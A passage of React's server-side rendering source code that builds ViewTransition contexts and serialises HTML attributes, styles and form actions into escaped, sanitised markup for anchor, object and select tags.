(parentContext.tagScope !== subtreeScope) {\n    return createFormatContext(\n      parentContext.insertionMode,\n      parentContext.selectedValue,\n      subtreeScope,\n      null,\n    );\n  }\n  return parentContext;\n}\n\nfunction getSuspenseViewTransition(\n  parentViewTransition: null | ViewTransitionContext,\n): null | ViewTransitionContext {\n  if (parentViewTransition === null) {\n    return null;\n  }\n  // If a ViewTransition wraps a Suspense boundary it applies to the children Instances\n  // in both the fallback and the content.\n  // Since we only have a representation of ViewTransitions on the Instances themselves\n  // we cannot model the parent ViewTransition activating \"enter\", \"exit\" or \"share\"\n  // since those would be ambiguous with the Suspense boundary changing states and\n  // affecting the same Instances.\n  // We also can't model an \"update\" when that update is fallback nodes swapping for\n  // content nodes. However, we can model is as a \"share\" from the fallback nodes to\n  // the content nodes using the same name. We just have to assign the same name that\n  // we would've used (the parent ViewTransition name or auto-assign one).\n  const viewTransition: ViewTransitionContext = {\n    update: parentViewTransition.update, // For deep updates.\n    enter: 'none',\n    exit: 'none',\n    share: parentViewTransition.update, // For exit or enter of reveals.\n    name: parentViewTransition.autoName,\n    autoName: parentViewTransition.autoName,\n    // TOOD: If we have more than just this Suspense boundary as a child of the ViewTransition\n    // then the parent needs to isolate the names so that they don't conflict.\n    nameIdx: 0,\n  };\n  return viewTransition;\n}\n\nexport function getSuspenseFallbackFormatContext(\n  resumableState: ResumableState,\n  parentContext: FormatContext,\n): FormatContext {\n  if (parentContext.tagScope & UPDATE_SCOPE) {\n    // If we're rendering a Suspense in fallback mode and that is inside a ViewTransition,\n    // which hasn't disabled updates, then revealing it might animate the parent so we need\n    // the ViewTransition instructions.\n    resumableState.instructions |= NeedUpgradeToViewTransitions;\n  }\n  return createFormatContext(\n    parentContext.insertionMode,\n    parentContext.selectedValue,\n    parentContext.tagScope | FALLBACK_SCOPE | EXIT_SCOPE,\n    getSuspenseViewTransition(parentContext.viewTransition),\n  );\n}\n\nexport function getSuspenseContentFormatContext(\n  resumableState: ResumableState,\n  parentContext: FormatContext,\n): FormatContext {\n  const viewTransition = getSuspenseViewTransition(\n    parentContext.viewTransition,\n  );\n  let subtreeScope = parentContext.tagScope | ENTER_SCOPE;\n  if (viewTransition !== null && viewTransition.share !== 'none') {\n    // If we have a ViewTransition wrapping Suspense then the appearing animation\n    // will be applied just like an \"enter\" below. Mark it as animating.\n    subtreeScope |= APPEARING_SCOPE;\n  }\n  return createFormatContext(\n    parentContext.insertionMode,\n    parentContext.selectedValue,\n    subtreeScope,\n    viewTransition,\n  );\n}\n\nexport function getViewTransitionFormatContext(\n  resumableState: ResumableState,\n  parentContext: FormatContext,\n  update: ?string,\n  enter: ?string,\n  exit: ?string,\n  share: ?string,\n  name: ?string,\n  autoName: string, // name or an autogenerated unique name\n): FormatContext {\n  // We're entering a <ViewTransition>. Normalize props.\n  if (update == null) {\n    update = 'auto';\n  }\n  if (enter == null) {\n    enter = 'auto';\n  }\n  if (exit == null) {\n    exit = 'auto';\n  }\n  if (name == null) {\n    const parentViewTransition = parentContext.viewTransition;\n    if (parentViewTransition !== null) {\n      // If we have multiple nested ViewTransition and the parent has a \"share\"\n      // but the child doesn't, then the parent ViewTransition can still activate\n      // a share scenario so we reuse the name and share from the parent.\n      name = parentViewTransition.name;\n      share = parentViewTransition.share;\n    } else {\n      name = 'auto';\n      share = 'none'; // share is only relevant if there's an explicit name\n    }\n  } else {\n    if (share == null) {\n      share = 'auto';\n    }\n    if (parentContext.tagScope & FALLBACK_SCOPE) {\n      // If we have an explicit name and share is not disabled, and we're inside\n      // a fallback, then that fallback might pair with content and so we might need\n      // the ViewTransition instructions to animate between them.\n      resumableState.instructions |= NeedUpgradeToViewTransitions;\n    }\n  }\n  if (!(parentContext.tagScope & EXIT_SCOPE)) {\n    exit = 'none'; // exit is only relevant for the first ViewTransition inside fallback\n  } else {\n    resumableState.instructions |= NeedUpgradeToViewTransitions;\n  }\n  if (!(parentContext.tagScope & ENTER_SCOPE)) {\n    enter = 'none'; // enter is only relevant for the first ViewTransition inside content\n  } else {\n    resumableState.instructions |= NeedUpgradeToViewTransitions;\n  }\n  const viewTransition: ViewTransitionContext = {\n    update,\n    enter,\n    exit,\n    share,\n    name,\n    autoName,\n    nameIdx: 0,\n  };\n  let subtreeScope = parentContext.tagScope & SUBTREE_SCOPE;\n  if (update !== 'none') {\n    subtreeScope |= UPDATE_SCOPE;\n  } else {\n    subtreeScope &= ~UPDATE_SCOPE;\n  }\n  if (enter !== 'none') {\n    subtreeScope |= APPEARING_SCOPE;\n  }\n  return createFormatContext(\n    parentContext.insertionMode,\n    parentContext.selectedValue,\n    subtreeScope,\n    viewTransition,\n  );\n}\n\nexport function isPreambleContext(formatContext: FormatContext): boolean {\n  return formatContext.insertionMode === HTML_HEAD_MODE;\n}\n\nexport function makeId(\n  resumableState: ResumableState,\n  treeId: string,\n  localId: number,\n): string {\n  const idPrefix = resumableState.idPrefix;\n\n  let id = '_' + idPrefix + 'R_' + treeId;\n\n  // Unless this is the first id at this level, append a number at the end\n  // that represents the position of this useId hook among all the useId\n  // hooks for this fiber.\n  if (localId > 0) {\n    id += 'H' + localId.toString(32);\n  }\n\n  return id + '_';\n}\n\nfunction encodeHTMLTextNode(text: string): string {\n  return escapeTextForBrowser(text);\n}\n\nconst textSeparator = stringToPrecomputedChunk('<!-- -->');\n\nexport function pushTextInstance(\n  target: Array<Chunk | PrecomputedChunk>,\n  text: string,\n  renderState: RenderState,\n  textEmbedded: boolean,\n): boolean {\n  if (text === '') {\n    // Empty text doesn't have a DOM node representation and the hydration is aware of this.\n    return textEmbedded;\n  }\n  if (textEmbedded) {\n    target.push(textSeparator);\n  }\n  target.push(stringToChunk(encodeHTMLTextNode(text)));\n  return true;\n}\n\n// Called when Fizz is done with a Segment. Currently the only purpose is to conditionally\n// emit a text separator when we don't know for sure it is safe to omit\nexport function pushSegmentFinale(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n  lastPushedText: boolean,\n  textEmbedded: boolean,\n): void {\n  if (lastPushedText && textEmbedded) {\n    target.push(textSeparator);\n  }\n}\n\nfunction pushViewTransitionAttributes(\n  target: Array<Chunk | PrecomputedChunk>,\n  formatContext: FormatContext,\n): void {\n  if (!enableViewTransition) {\n    return;\n  }\n  const viewTransition = formatContext.viewTransition;\n  if (viewTransition === null) {\n    return;\n  }\n  if (viewTransition.name !== 'auto') {\n    pushStringAttribute(\n      target,\n      'vt-name',\n      viewTransition.nameIdx === 0\n        ? viewTransition.name\n        : viewTransition.name + '_' + viewTransition.nameIdx,\n    );\n    // Increment the index in case we have multiple children to the same ViewTransition.\n    // Because this is a side-effect in render, we should ideally call pushViewTransitionAttributes\n    // after we've suspended (like forms do), so that we don't increment each attempt.\n    // TODO: Make this deterministic.\n    viewTransition.nameIdx++;\n  }\n  pushStringAttribute(target, 'vt-update', viewTransition.update);\n  if (viewTransition.enter !== 'none') {\n    pushStringAttribute(target, 'vt-enter', viewTransition.enter);\n  }\n  if (viewTransition.exit !== 'none') {\n    pushStringAttribute(target, 'vt-exit', viewTransition.exit);\n  }\n  if (viewTransition.share !== 'none') {\n    pushStringAttribute(target, 'vt-share', viewTransition.share);\n  }\n}\n\nconst styleNameCache: Map<string, PrecomputedChunk> = new Map();\nfunction processStyleName(styleName: string): PrecomputedChunk {\n  const chunk = styleNameCache.get(styleName);\n  if (chunk !== undefined) {\n    return chunk;\n  }\n  const result = stringToPrecomputedChunk(\n    escapeTextForBrowser(hyphenateStyleName(styleName)),\n  );\n  styleNameCache.set(styleName, result);\n  return result;\n}\n\nconst styleAttributeStart = stringToPrecomputedChunk(' style=\"');\nconst styleAssign = stringToPrecomputedChunk(':');\nconst styleSeparator = stringToPrecomputedChunk(';');\n\nfunction pushStyleAttribute(\n  target: Array<Chunk | PrecomputedChunk>,\n  style: Object,\n): void {\n  if (typeof style !== 'object') {\n    throw new Error(\n      'The `style` prop expects a mapping from style properties to values, ' +\n        \"not a string. For example, style={{marginRight: spacing + 'em'}} when \" +\n        'using JSX.',\n    );\n  }\n\n  let isFirst = true;\n  for (const styleName in style) {\n    if (!hasOwnProperty.call(style, styleName)) {\n      continue;\n    }\n    // If you provide unsafe user data here they can inject arbitrary CSS\n    // which may be problematic (I couldn't repro this):\n    // https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet\n    // http://www.thespanner.co.uk/2007/11/26/ultimate-xss-css-injection/\n    // This is not an XSS hole but instead a potential CSS injection issue\n    // which has lead to a greater discussion about how we're going to\n    // trust URLs moving forward. See #2115901\n    const styleValue = style[styleName];\n    if (\n      styleValue == null ||\n      typeof styleValue === 'boolean' ||\n      styleValue === ''\n    ) {\n      // TODO: We used to set empty string as a style with an empty value. Does that ever make sense?\n      continue;\n    }\n\n    let nameChunk;\n    let valueChunk;\n    const isCustomProperty = styleName.indexOf('--') === 0;\n    if (isCustomProperty) {\n      nameChunk = stringToChunk(escapeTextForBrowser(styleName));\n      if (__DEV__) {\n        checkCSSPropertyStringCoercion(styleValue, styleName);\n      }\n      valueChunk = stringToChunk(\n        escapeTextForBrowser(('' + styleValue).trim()),\n      );\n    } else {\n      if (__DEV__) {\n        warnValidStyle(styleName, styleValue);\n      }\n\n      nameChunk = processStyleName(styleName);\n      if (typeof styleValue === 'number') {\n        if (styleValue !== 0 && !isUnitlessNumber(styleName)) {\n          valueChunk = stringToChunk(styleValue + 'px'); // Presumes implicit 'px' suffix for unitless numbers\n        } else {\n          valueChunk = stringToChunk('' + styleValue);\n        }\n      } else {\n        if (__DEV__) {\n          checkCSSPropertyStringCoercion(styleValue, styleName);\n        }\n        valueChunk = stringToChunk(\n          escapeTextForBrowser(('' + styleValue).trim()),\n        );\n      }\n    }\n    if (isFirst) {\n      isFirst = false;\n      // If it's first, we don't need any separators prefixed.\n      target.push(styleAttributeStart, nameChunk, styleAssign, valueChunk);\n    } else {\n      target.push(styleSeparator, nameChunk, styleAssign, valueChunk);\n    }\n  }\n  if (!isFirst) {\n    target.push(attributeEnd);\n  }\n}\n\nconst attributeSeparator = stringToPrecomputedChunk(' ');\nconst attributeAssign = stringToPrecomputedChunk('=\"');\nconst attributeEnd = stringToPrecomputedChunk('\"');\nconst attributeEmptyString = stringToPrecomputedChunk('=\"\"');\n\nfunction pushBooleanAttribute(\n  target: Array<Chunk | PrecomputedChunk>,\n  name: string,\n  value: string | boolean | number | Function | Object, // not null or undefined\n): void {\n  if (value && typeof value !== 'function' && typeof value !== 'symbol') {\n    target.push(attributeSeparator, stringToChunk(name), attributeEmptyString);\n  }\n}\n\nfunction pushStringAttribute(\n  target: Array<Chunk | PrecomputedChunk>,\n  name: string,\n  value: string | boolean | number | Function | Object, // not null or undefined\n): void {\n  if (\n    typeof value !== 'function' &&\n    typeof value !== 'symbol' &&\n    typeof value !== 'boolean'\n  ) {\n    target.push(\n      attributeSeparator,\n      stringToChunk(name),\n      attributeAssign,\n      stringToChunk(escapeTextForBrowser(value)),\n      attributeEnd,\n    );\n  }\n}\n\nfunction makeFormFieldPrefix(resumableState: ResumableState): string {\n  // TODO: Make this deterministic.\n  const id = resumableState.nextFormID++;\n  return resumableState.idPrefix + id;\n}\n\n// Since this will likely be repeated a lot in the HTML, we use a more concise message\n// than on the client and hopefully it's googleable.\nconst actionJavaScriptURL = stringToPrecomputedChunk(\n  escapeTextForBrowser(\n    // eslint-disable-next-line no-script-url\n    \"javascript:throw new Error('React form unexpectedly submitted.')\",\n  ),\n);\n\nconst startHiddenInputChunk = stringToPrecomputedChunk('<input type=\"hidden\"');\n\nfunction pushAdditionalFormField(\n  this: Array<Chunk | PrecomputedChunk>,\n  value: string | File,\n  key: string,\n): void {\n  const target: Array<Chunk | PrecomputedChunk> = this;\n  target.push(startHiddenInputChunk);\n  validateAdditionalFormField(value, key);\n  pushStringAttribute(target, 'name', key);\n  pushStringAttribute(target, 'value', value);\n  target.push(endOfStartTagSelfClosing);\n}\n\nfunction pushAdditionalFormFields(\n  target: Array<Chunk | PrecomputedChunk>,\n  formData: void | null | FormData,\n) {\n  if (formData != null) {\n    // $FlowFixMe[prop-missing]: FormData has forEach.\n    formData.forEach(pushAdditionalFormField, target);\n  }\n}\n\nfunction validateAdditionalFormField(value: string | File, key: string): void {\n  if (typeof value !== 'string') {\n    throw new Error(\n      'File/Blob fields are not yet supported in progressive forms. ' +\n        'Will fallback to client hydration.',\n    );\n  }\n}\n\nfunction validateAdditionalFormFields(formData: void | null | FormData) {\n  if (formData != null) {\n    // $FlowFixMe[prop-missing]: FormData has forEach.\n    formData.forEach(validateAdditionalFormField);\n  }\n  return formData;\n}\n\nfunction getCustomFormFields(\n  resumableState: ResumableState,\n  formAction: any,\n): null | ReactCustomFormAction {\n  const customAction = formAction.$$FORM_ACTION;\n  if (typeof customAction === 'function') {\n    const prefix = makeFormFieldPrefix(resumableState);\n    try {\n      const customFields = formAction.$$FORM_ACTION(prefix);\n      if (customFields) {\n        validateAdditionalFormFields(customFields.data);\n      }\n      return customFields;\n    } catch (x) {\n      if (typeof x === 'object' && x !== null && typeof x.then === 'function') {\n        // Rethrow suspense.\n        throw x;\n      }\n      // If we fail to encode the form action for progressive enhancement for some reason,\n      // fallback to trying replaying on the client instead of failing the page. It might\n      // work there.\n      if (__DEV__) {\n        // TODO: Should this be some kind of recoverable error?\n        console.error(\n          'Failed to serialize an action for progressive enhancement:\\n%s',\n          x,\n        );\n      }\n    }\n  }\n  return null;\n}\n\nfunction pushFormActionAttribute(\n  target: Array<Chunk | PrecomputedChunk>,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  formAction: any,\n  formEncType: any,\n  formMethod: any,\n  formTarget: any,\n  name: any,\n): void | null | FormData {\n  let formData = null;\n  if (typeof formAction === 'function') {\n    // Function form actions cannot control the form properties\n    if (__DEV__) {\n      if (name !== null && !didWarnFormActionName) {\n        didWarnFormActionName = true;\n        console.error(\n          'Cannot specify a \"name\" prop for a button that specifies a function as a formAction. ' +\n            'React needs it to encode which action should be invoked. It will get overridden.',\n        );\n      }\n      if (\n        (formEncType !== null || formMethod !== null) &&\n        !didWarnFormActionMethod\n      ) {\n        didWarnFormActionMethod = true;\n        console.error(\n          'Cannot specify a formEncType or formMethod for a button that specifies a ' +\n            'function as a formAction. React provides those automatically. They will get overridden.',\n        );\n      }\n      if (formTarget !== null && !didWarnFormActionTarget) {\n        didWarnFormActionTarget = true;\n        console.error(\n          'Cannot specify a formTarget for a button that specifies a function as a formAction. ' +\n            'The function will always be executed in the same window.',\n        );\n      }\n    }\n    const customFields = getCustomFormFields(resumableState, formAction);\n    if (customFields !== null) {\n      // This action has a custom progressive enhancement form that can submit the form\n      // back to the server if it's invoked before hydration. Such as a Server Action.\n      name = customFields.name;\n      formAction = customFields.action || '';\n      formEncType = customFields.encType;\n      formMethod = customFields.method;\n      formTarget = customFields.target;\n      formData = customFields.data;\n    } else {\n      // Set a javascript URL that doesn't do anything. We don't expect this to be invoked\n      // because we'll preventDefault in the Fizz runtime, but it can happen if a form is\n      // manually submitted or if someone calls stopPropagation before React gets the event.\n      // If CSP is used to block javascript: URLs that's fine too. It just won't show this\n      // error message but the URL will be logged.\n      target.push(\n        attributeSeparator,\n        stringToChunk('formAction'),\n        attributeAssign,\n        actionJavaScriptURL,\n        attributeEnd,\n      );\n      name = null;\n      formAction = null;\n      formEncType = null;\n      formMethod = null;\n      formTarget = null;\n      injectFormReplayingRuntime(resumableState, renderState);\n    }\n  }\n  if (name != null) {\n    pushAttribute(target, 'name', name);\n  }\n  if (formAction != null) {\n    pushAttribute(target, 'formAction', formAction);\n  }\n  if (formEncType != null) {\n    pushAttribute(target, 'formEncType', formEncType);\n  }\n  if (formMethod != null) {\n    pushAttribute(target, 'formMethod', formMethod);\n  }\n  if (formTarget != null) {\n    pushAttribute(target, 'formTarget', formTarget);\n  }\n  return formData;\n}\n\nlet blobCache: null | WeakMap<Blob, Thenable<string>> = null;\n\nfunction pushSrcObjectAttribute(\n  target: Array<Chunk | PrecomputedChunk>,\n  blob: Blob,\n): void {\n  // Throwing a Promise style suspense read of the Blob content.\n  if (blobCache === null) {\n    blobCache = new WeakMap();\n  }\n  const suspenseCache: WeakMap<Blob, Thenable<string>> = blobCache;\n  let thenable = suspenseCache.get(blob);\n  if (thenable === undefined) {\n    thenable = ((readAsDataURL(blob): any): Thenable<string>);\n    thenable.then(\n      result => {\n        (thenable: any).status = 'fulfilled';\n        (thenable: any).value = result;\n      },\n      error => {\n        (thenable: any).status = 'rejected';\n        (thenable: any).reason = error;\n      },\n    );\n    suspenseCache.set(blob, thenable);\n  }\n  if (thenable.status === 'rejected') {\n    throw thenable.reason;\n  } else if (thenable.status !== 'fulfilled') {\n    throw thenable;\n  }\n  const url = thenable.value;\n  target.push(\n    attributeSeparator,\n    stringToChunk('src'),\n    attributeAssign,\n    stringToChunk(escapeTextForBrowser(url)),\n    attributeEnd,\n  );\n}\n\nfunction pushAttribute(\n  target: Array<Chunk | PrecomputedChunk>,\n  name: string,\n  value: string | boolean | number | Function | Object, // not null or undefined\n): void {\n  switch (name) {\n    // These are very common props and therefore are in the beginning of the switch.\n    // TODO: aria-label is a very common prop but allows booleans so is not like the others\n    // but should ideally go in this list too.\n    case 'className': {\n      pushStringAttribute(target, 'class', value);\n      break;\n    }\n    case 'tabIndex': {\n      pushStringAttribute(target, 'tabindex', value);\n      break;\n    }\n    case 'dir':\n    case 'role':\n    case 'viewBox':\n    case 'width':\n    case 'height': {\n      pushStringAttribute(target, name, value);\n      break;\n    }\n    case 'style': {\n      pushStyleAttribute(target, value);\n      return;\n    }\n    case 'src': {\n      if (enableSrcObject && typeof value === 'object' && value !== null) {\n        if (typeof Blob === 'function' && value instanceof Blob) {\n          pushSrcObjectAttribute(target, value);\n          return;\n        }\n      }\n      // Fallthrough to general urls\n    }\n    case 'href': {\n      if (value === '') {\n        if (__DEV__) {\n          if (name === 'src') {\n            console.error(\n              'An empty string (\"\") was passed to the %s attribute. ' +\n                'This may cause the browser to download the whole page again over the network. ' +\n                'To fix this, either do not render the element at all ' +\n                'or pass null to %s instead of an empty string.',\n              name,\n              name,\n            );\n          } else {\n            console.error(\n              'An empty string (\"\") was passed to the %s attribute. ' +\n                'To fix this, either do not render the element at all ' +\n                'or pass null to %s instead of an empty string.',\n              name,\n              name,\n            );\n          }\n        }\n        return;\n      }\n    }\n    // Fall through to the last case which shouldn't remove empty strings.\n    case 'action':\n    case 'formAction': {\n      // TODO: Consider only special casing these for each tag.\n      if (\n        value == null ||\n        typeof value === 'function' ||\n        typeof value === 'symbol' ||\n        typeof value === 'boolean'\n      ) {\n        return;\n      }\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, name);\n      }\n      const sanitizedValue = sanitizeURL('' + value);\n      target.push(\n        attributeSeparator,\n        stringToChunk(name),\n        attributeAssign,\n        stringToChunk(escapeTextForBrowser(sanitizedValue)),\n        attributeEnd,\n      );\n      return;\n    }\n    case 'defaultValue':\n    case 'defaultChecked': // These shouldn't be set as attributes on generic HTML elements.\n    case 'innerHTML': // Must use dangerouslySetInnerHTML instead.\n    case 'suppressContentEditableWarning':\n    case 'suppressHydrationWarning':\n    case 'ref':\n      // Ignored. These are built-in to React on the client.\n      return;\n    case 'autoFocus':\n    case 'multiple':\n    case 'muted': {\n      pushBooleanAttribute(target, name.toLowerCase(), value);\n      return;\n    }\n    case 'xlinkHref': {\n      if (\n        typeof value === 'function' ||\n        typeof value === 'symbol' ||\n        typeof value === 'boolean'\n      ) {\n        return;\n      }\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, name);\n      }\n      const sanitizedValue = sanitizeURL('' + value);\n      target.push(\n        attributeSeparator,\n        stringToChunk('xlink:href'),\n        attributeAssign,\n        stringToChunk(escapeTextForBrowser(sanitizedValue)),\n        attributeEnd,\n      );\n      return;\n    }\n    case 'contentEditable':\n    case 'spellCheck':\n    case 'draggable':\n    case 'value':\n    case 'autoReverse':\n    case 'externalResourcesRequired':\n    case 'focusable':\n    case 'preserveAlpha': {\n      // Booleanish String\n      // These are \"enumerated\" attributes that accept \"true\" and \"false\".\n      // In React, we let users pass `true` and `false` even though technically\n      // these aren't boolean attributes (they are coerced to strings).\n      if (typeof value !== 'function' && typeof value !== 'symbol') {\n        target.push(\n          attributeSeparator,\n          stringToChunk(name),\n          attributeAssign,\n          stringToChunk(escapeTextForBrowser(value)),\n          attributeEnd,\n        );\n      }\n      return;\n    }\n    case 'inert': {\n      if (__DEV__) {\n        if (value === '' && !didWarnForNewBooleanPropsWithEmptyValue[name]) {\n          didWarnForNewBooleanPropsWithEmptyValue[name] = true;\n          console.error(\n            'Received an empty string for a boolean attribute `%s`. ' +\n              'This will treat the attribute as if it were false. ' +\n              'Either pass `false` to silence this warning, or ' +\n              'pass `true` if you used an empty string in earlier versions of React to indicate this attribute is true.',\n            name,\n          );\n        }\n      }\n    }\n    // Fallthrough for boolean props that don't have a warning for empty strings.\n    case 'allowFullScreen':\n    case 'async':\n    case 'autoPlay':\n    case 'controls':\n    case 'default':\n    case 'defer':\n    case 'disabled':\n    case 'disablePictureInPicture':\n    case 'disableRemotePlayback':\n    case 'formNoValidate':\n    case 'hidden':\n    case 'loop':\n    case 'noModule':\n    case 'noValidate':\n    case 'open':\n    case 'playsInline':\n    case 'readOnly':\n    case 'required':\n    case 'reversed':\n    case 'scoped':\n    case 'seamless':\n    case 'itemScope': {\n      // Boolean\n      if (value && typeof value !== 'function' && typeof value !== 'symbol') {\n        target.push(\n          attributeSeparator,\n          stringToChunk(name),\n          attributeEmptyString,\n        );\n      }\n      return;\n    }\n    case 'capture':\n    case 'download': {\n      // Overloaded Boolean\n      if (value === true) {\n        target.push(\n          attributeSeparator,\n          stringToChunk(name),\n          attributeEmptyString,\n        );\n      } else if (value === false) {\n        // Ignored\n      } else if (typeof value !== 'function' && typeof value !== 'symbol') {\n        target.push(\n          attributeSeparator,\n          stringToChunk(name),\n          attributeAssign,\n          stringToChunk(escapeTextForBrowser(value)),\n          attributeEnd,\n        );\n      }\n      return;\n    }\n    case 'cols':\n    case 'rows':\n    case 'size':\n    case 'span': {\n      // These are HTML attributes that must be positive numbers.\n      if (\n        typeof value !== 'function' &&\n        typeof value !== 'symbol' &&\n        !isNaN(value) &&\n        (value: any) >= 1\n      ) {\n        target.push(\n          attributeSeparator,\n          stringToChunk(name),\n          attributeAssign,\n          stringToChunk(escapeTextForBrowser(value)),\n          attributeEnd,\n        );\n      }\n      return;\n    }\n    case 'rowSpan':\n    case 'start': {\n      // These are HTML attributes that must be numbers.\n      if (\n        typeof value !== 'function' &&\n        typeof value !== 'symbol' &&\n        !isNaN(value)\n      ) {\n        target.push(\n          attributeSeparator,\n          stringToChunk(name),\n          attributeAssign,\n          stringToChunk(escapeTextForBrowser(value)),\n          attributeEnd,\n        );\n      }\n      return;\n    }\n    case 'xlinkActuate':\n      pushStringAttribute(target, 'xlink:actuate', value);\n      return;\n    case 'xlinkArcrole':\n      pushStringAttribute(target, 'xlink:arcrole', value);\n      return;\n    case 'xlinkRole':\n      pushStringAttribute(target, 'xlink:role', value);\n      return;\n    case 'xlinkShow':\n      pushStringAttribute(target, 'xlink:show', value);\n      return;\n    case 'xlinkTitle':\n      pushStringAttribute(target, 'xlink:title', value);\n      return;\n    case 'xlinkType':\n      pushStringAttribute(target, 'xlink:type', value);\n      return;\n    case 'xmlBase':\n      pushStringAttribute(target, 'xml:base', value);\n      return;\n    case 'xmlLang':\n      pushStringAttribute(target, 'xml:lang', value);\n      return;\n    case 'xmlSpace':\n      pushStringAttribute(target, 'xml:space', value);\n      return;\n    default:\n      if (\n        // shouldIgnoreAttribute\n        // We have already filtered out null/undefined and reserved words.\n        name.length > 2 &&\n        (name[0] === 'o' || name[0] === 'O') &&\n        (name[1] === 'n' || name[1] === 'N')\n      ) {\n        return;\n      }\n\n      const attributeName = getAttributeAlias(name);\n      if (isAttributeNameSafe(attributeName)) {\n        // shouldRemoveAttribute\n        switch (typeof value) {\n          case 'function':\n          case 'symbol':\n            return;\n          case 'boolean': {\n            const prefix = attributeName.toLowerCase().slice(0, 5);\n            if (prefix !== 'data-' && prefix !== 'aria-') {\n              return;\n            }\n          }\n        }\n        target.push(\n          attributeSeparator,\n          stringToChunk(attributeName),\n          attributeAssign,\n          stringToChunk(escapeTextForBrowser(value)),\n          attributeEnd,\n        );\n      }\n  }\n}\n\nconst endOfStartTag = stringToPrecomputedChunk('>');\nconst endOfStartTagSelfClosing = stringToPrecomputedChunk('/>');\n\nfunction pushInnerHTML(\n  target: Array<Chunk | PrecomputedChunk>,\n  innerHTML: any,\n  children: any,\n) {\n  if (innerHTML != null) {\n    if (children != null) {\n      throw new Error(\n        'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',\n      );\n    }\n\n    if (typeof innerHTML !== 'object' || !('__html' in innerHTML)) {\n      throw new Error(\n        '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' +\n          'Please visit https://react.dev/link/dangerously-set-inner-html ' +\n          'for more information.',\n      );\n    }\n\n    const html = innerHTML.__html;\n    if (html !== null && html !== undefined) {\n      if (__DEV__) {\n        checkHtmlStringCoercion(html);\n      }\n      target.push(stringToChunk('' + html));\n    }\n  }\n}\n\n// TODO: Move these to RenderState so that we warn for every request.\n// It would help debugging in stateful servers (e.g. service worker).\nlet didWarnDefaultInputValue = false;\nlet didWarnDefaultChecked = false;\nlet didWarnDefaultSelectValue = false;\nlet didWarnDefaultTextareaValue = false;\nlet didWarnInvalidOptionChildren = false;\nlet didWarnInvalidOptionInnerHTML = false;\nlet didWarnSelectedSetOnOption = false;\nlet didWarnFormActionType = false;\nlet didWarnFormActionName = false;\nlet didWarnFormActionTarget = false;\nlet didWarnFormActionMethod = false;\n\nfunction checkSelectProp(props: any, propName: string) {\n  if (__DEV__) {\n    const value = props[propName];\n    if (value != null) {\n      const array = isArray(value);\n      if (props.multiple && !array) {\n        console.error(\n          'The `%s` prop supplied to <select> must be an array if ' +\n            '`multiple` is true.',\n          propName,\n        );\n      } else if (!props.multiple && array) {\n        console.error(\n          'The `%s` prop supplied to <select> must be a scalar ' +\n            'value if `multiple` is false.',\n          propName,\n        );\n      }\n    }\n  }\n}\n\nfunction pushStartAnchor(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag('a'));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        case 'href':\n          if (propValue === '') {\n            // Empty `href` is special on anchors so we're short-circuiting here.\n            // On other tags it should trigger a warning\n            pushStringAttribute(target, 'href', '');\n          } else {\n            pushAttribute(target, propKey, propValue);\n          }\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n  pushInnerHTML(target, innerHTML, children);\n  if (typeof children === 'string') {\n    // Special case children as a string to avoid the unnecessary comment.\n    // TODO: Remove this special case after the general optimization is in place.\n    target.push(stringToChunk(encodeHTMLTextNode(children)));\n    return null;\n  }\n  return children;\n}\n\nfunction pushStartObject(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag('object'));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        case 'data': {\n          if (__DEV__) {\n            checkAttributeStringCoercion(propValue, 'data');\n          }\n          const sanitizedValue = sanitizeURL('' + propValue);\n          if (sanitizedValue === '') {\n            if (__DEV__) {\n              console.error(\n                'An empty string (\"\") was passed to the %s attribute. ' +\n                  'To fix this, either do not render the element at all ' +\n                  'or pass null to %s instead of an empty string.',\n                propKey,\n                propKey,\n              );\n            }\n            break;\n          }\n          target.push(\n            attributeSeparator,\n            stringToChunk('data'),\n            attributeAssign,\n            stringToChunk(escapeTextForBrowser(sanitizedValue)),\n            attributeEnd,\n          );\n          break;\n        }\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n  pushInnerHTML(target, innerHTML, children);\n  if (typeof children === 'string') {\n    // Special case children as a string to avoid the unnecessary comment.\n    // TODO: Remove this special case after the general optimization is in place.\n    target.push(stringToChunk(encodeHTMLTextNode(children)));\n    return null;\n  }\n  return children;\n}\n\nfunction pushStartSelect(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  formatContext: FormatContext,\n): ReactNodeList {\n  if (__DEV__) {\n    checkControlledValueProps('select', props);\n\n    checkSelectProp(props, 'value');\n    checkSelectProp(props, 'defaultValue');\n\n    if (\n      props.value !== undefined &&\n      props.defaultValue !== undefined &&\n      !didWarnDefaultSelectValue\n    ) {\n      console.error(\n        'Select elements must be either controlled or uncontrolled ' +\n          '(specify either the value prop, or the defaultValue prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled select ' +\n          'element and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n      );\n      didWarnDefaultSelectValue = true;\n    }\n  }\n\n  target.push(startChunkForTag('select'));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if 